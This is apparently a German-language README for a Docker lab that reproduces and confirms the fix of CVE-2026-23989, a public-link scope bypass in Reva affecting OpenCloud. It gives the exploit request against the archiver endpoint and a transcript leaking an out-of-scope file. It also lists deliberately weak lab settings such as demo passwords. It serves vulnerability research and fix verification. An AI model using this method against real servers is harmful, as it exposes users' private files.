
# Reproduktionslabor (A/B Docker) für CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale Public-Link-Scope-Validierungs-Bypass in Reva
Eine eigenständige Ein-Befehl-Lab-Umgebung, die CVE-2026-23989 reproduziert und beweist, dass er behoben ist, unter Verwendung der offiziellen Upstream-Docker-Images. Ein öffentlicher Freigabe-Link, der Zugriff auf einen Ordner gewähren soll, kann missbraucht werden, um Dateien außerhalb des Geltungsbereichs dieses Ordners zu lesen.
| CVE | CVE-2026-23989 |
| Advisory | GHSA-vf5j-r2hw-2hrw („Public Link Exploit“) |
| CVSS 3.1 | 8.2 Hoch — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
| Klasse | Fehlerhafte Zugriffskontrolle — Pfad-Präfix-Verwechslung bei der Scope-Validierung |
| Grundursache | Reva checkIfNestedResource verwendete strings.HasPrefix für die Pfad-Enthaltenseinsprüfung |
| Betroffen | OpenCloud stable ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1) |
| Behoben | OpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522) |
| Offengelegt | 2026-02-05 |
OpenCloud ist ein Fork von ownCloud Infinite Scale (OCIS) aus dem Jahr 2025, erstellt von ehemaligen ownCloud-Ingenieuren, nachdem Kiteworks ownCloud übernommen hatte. Der Fehler liegt in Reva, dem CS3-Speicher-Backend, das OCIS/OpenCloud gemeinsam nutzen, und — laut dem Advisory des Anbieters — „stammt aus der ownCloud-Codebasis (Kiteworks) und wurde geerbt, als OpenCloud OCIS forkte.“ OpenCloud wird hier verwendet, weil es saubere, gepinnte, öffentliche verwundbare und behobene Images liefert, die einen exakten A/B-Vergleich ermöglichen.
internal/grpc/interceptors/auth/scope.go, Funktion checkIfNestedResource — der
Gateway-Interceptor, der entscheidet, ob ein Public-Link-Token auf eine Ressource zugreifen darf:
// verwundbar (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil
parentPath ist der Pfad des freigegebenen Ordners (der Scope des Links); childPath ist der
Pfad der angeforderten Ressource. String-Präfix-Prüfung ist keine Pfad-Enthaltenseinsprüfung:
parentPath = "/Shared"
childPath = "/Shared-secret/flag.txt" (ein Geschwister, KEIN Kind)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true ← falsch: Zugriff gewährt
Ein Link mit Scope /Shared erreicht also auch jede gleichnamige Ressource, deren Pfad
mit der Zeichenkette /Shared beginnt — z. B. /Shared-secret, /Shared-2024,
/Shared backup. Der Fix ersetzt den Test durch filepath.Rel und lehnt jeden
relativen Pfad ab, der mit .. beginnt (vollständiger Patch in patch/reva-scope.go.patch).
Jede Gateway-Operation, die ein Public-Link-Token trägt, durchläuft die fehlerhafte
Scope-Prüfung, aber die Primitive der Entdecker (und die dieser Lab-Umgebung) ist der
Archiver-Dienst unter GET /archiver, authentifiziert für einen öffentlichen Link mit dem
public-token:-Header. Er akzeptiert eine Ressourcen-ID (?id=<fileid>), durchläuft sie und
streamt eine Zip-Datei. Zeigt man auf die ID eines außerhalb des Scopes liegenden Präfix-Geschwisters, lässt die fehlerhafte Prüfung
es zu:
GET /archiver?id=<id-of-/Shared-secret>
public-token: <link token scoped to /Shared>
→ 200, zip of /Shared-secret (auf 4.0.2)
→ 404 "gateway could not find space for ref=…" (auf 4.0.3)
Der Angreifer muss die Ressourcen-ID des außerhalb des Scopes liegenden Ziels liefern. Diese
undurchsichtige ID ist eine zufällige UUID und nicht über den öffentlichen Link selbst
aufzählbar (der Link kann den Space des Besitzers nicht auflisten — er gibt 401 zurück). In OCIS
wird die oc:fileid einer Ressource jedoch in fast jeder WebDAV/Graph-Antwort,
Freigabe-Einladung, Aktivitätsbenachrichtigung und Web-URL (/f/<id>) offengelegt, sodass jeder
frühere Mitarbeiter, ehemalige Empfänger einer anderen Freigabe oder interne Benutzer sie
regelmäßig besitzt — weshalb der Anbieter die Angriffskomplexität als Niedrig einstufte. Das
setup.sh der Lab-Umgebung erhält die ID „als Opfer“, um sie an den Angreifer-Schritt zu übergeben,
was dieses realistische Vorwissen modelliert. Pfad-Traversal (?path=../…) ist kein
praktikabler Ersatz: Diese Pfade werden relativ zur Freigabe aufgelöst und bereinigt (404).
"/"
und HasPrefix("/", "/Shared") ist falsch (die Lab-Umgebung bestätigt dies: Space-Root-
Archiv → 404). Nicht-Präfix-Geschwister wie /Private werden auch auf der
verwundbaren Version verweigert — die Lab-Umgebung verwendet dies als Kontrolle, um zu beweisen, dass der Effekt
spezifisch der Präfix-Fehler ist, nicht ein pauschaler Authentifizierungsfehler.| Datei | Zweck |
|---|---|
docker-compose.yml | Ein OpenCloud-Container; OC_TAG wählt verwundbar (4.0.2) oder behoben (4.0.3). |
setup.sh | Legt das Opfer-Szenario im Space des Demo-Benutzers mary an und erstellt einen passwortlosen öffentlichen Link auf /Shared. Schreibt state.env. |
exploit.sh | Angreifer-PoC. Erhält Link-Token + Ziel-Ressourcen-ID, ruft den Archiver auf und gibt exfiltrierte Bytes aus. |
verify.sh | Ein-Befehl-A/B: Reproduktion auf 4.0.2, Bestätigung der Behebung auf 4.0.3, Ausgabe einer PASS/FAIL-Matrix. |
patch/reva-scope.go.patch | Der exakte Upstream-Einzeilen-Fix, kommentiert. |
Im persönlichen Space von mary angelegtes Szenario:
/Shared/public-note.txt ← über den öffentlichen Link geteilt (im Scope)
/Shared-secret/flag.txt ← das PoC-Ziel; Pfad-Präfix "/Shared" (außerhalb des Scopes)
/Private/topsecret.txt ← Kontrolle; kein Präfix (außerhalb des Scopes, bleibt verweigert)
Voraussetzungen: Docker + Docker Compose, curl, python3. Lädt ~250 MB an Images.
./verify.sh
Erwartete Ausgabe:
== Exploit + Kontrollen gegen VERWUNDBAR 4.0.2 ==
[PASS] im Scope /Shared (legitimer Zugriff) (erwarteter Leak)
[PASS] PoC: außerhalb des Scopes /Shared-secret (erwarteter Leak)
[PASS] kein Präfix /Private (muss verweigert bleiben) (erwartete Verweigerung)
== Exploit + Kontrolle gegen BEHOBEN 4.0.3 ==
[PASS] im Scope /Shared (funktioniert weiterhin) (erwarteter Leak)
[PASS] PoC: außerhalb des Scopes /Shared-secret (behoben) (erwartete Verweigerung)
== Urteil ==
5 bestanden, 0 fehlgeschlagen
CVE-2026-23989 auf 4.0.2 reproduziert und auf 4.0.3 als behoben bestätigt.
Rolling-Release-Paar statt stable:
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh
# 1. verwundbare Version hochfahren
OC_TAG=4.0.2 docker compose up -d
# 2. Opfer-Szenario anlegen (erstellt den öffentlichen Link, schreibt state.env)
./setup.sh
# 3. Angriff: außerhalb des Scopes liegendes Geschwister leaken (liest Ziel aus state.env)
./exploit.sh # verwendet standardmäßig die /Shared-secret-ID
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")" # Kontrolle: verweigert
Echtes Transkript gegen die verwundbare Version (state.env-Werte variieren pro Lauf):
===== EXPLOIT /Shared-secret (außerhalb des Scopes, Präfix-Geschwister) =====
[*] Public-Link-Token: UVWPXGsjlLJRYxK (Scope: ein einzelner freigegebener Ordner)
[*] HTTP 200, 365 Bytes
Shared-secret/flag.txt:
FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] LEAK BESTÄTIGT — Dateibytes außerhalb des Scopes über den öffentlichen Link exfiltriert.
===== KONTROLLE /Private (außerhalb des Scopes, kein Präfix) =====
[*] HTTP 404, 249 Bytes
[-] VERWEIGERT — Server lehnte ab: error: not found: gateway could not find space for ref=…
Bestätigen Sie den Fix mit denselben Daten (gleiches Token und IDs):
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh # jetzt → HTTP 404, VERWEIGERT
Abbau:
docker compose down -v
GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT="" auf dem Container. Der Anbieter bestätigt,
dass dies das Problem vollständig entschärft (ein öffentlicher Link gibt dann einen Fehler zurück).docker-compose.yml schwächt die Instanz bewusst, damit der PoC skriptbar ist:
PROXY_ENABLE_BASIC_AUTH=true (damit curl -u/public-token ohne den OIDC-
Tanz funktionieren), IDM_CREATE_DEMO_USERS=true (mary/demo usw. — öffentliche Passwörter),
IDM_ADMIN_PASSWORD=admin, passwortlose öffentliche Links und ein selbstsigniertes Zertifikat
(curl -k). Keines davon ist die Schwachstelle; sie machen sie nur in einer
Shell beobachtbar. Der Bypass selbst ist unabhängig davon.
8d52003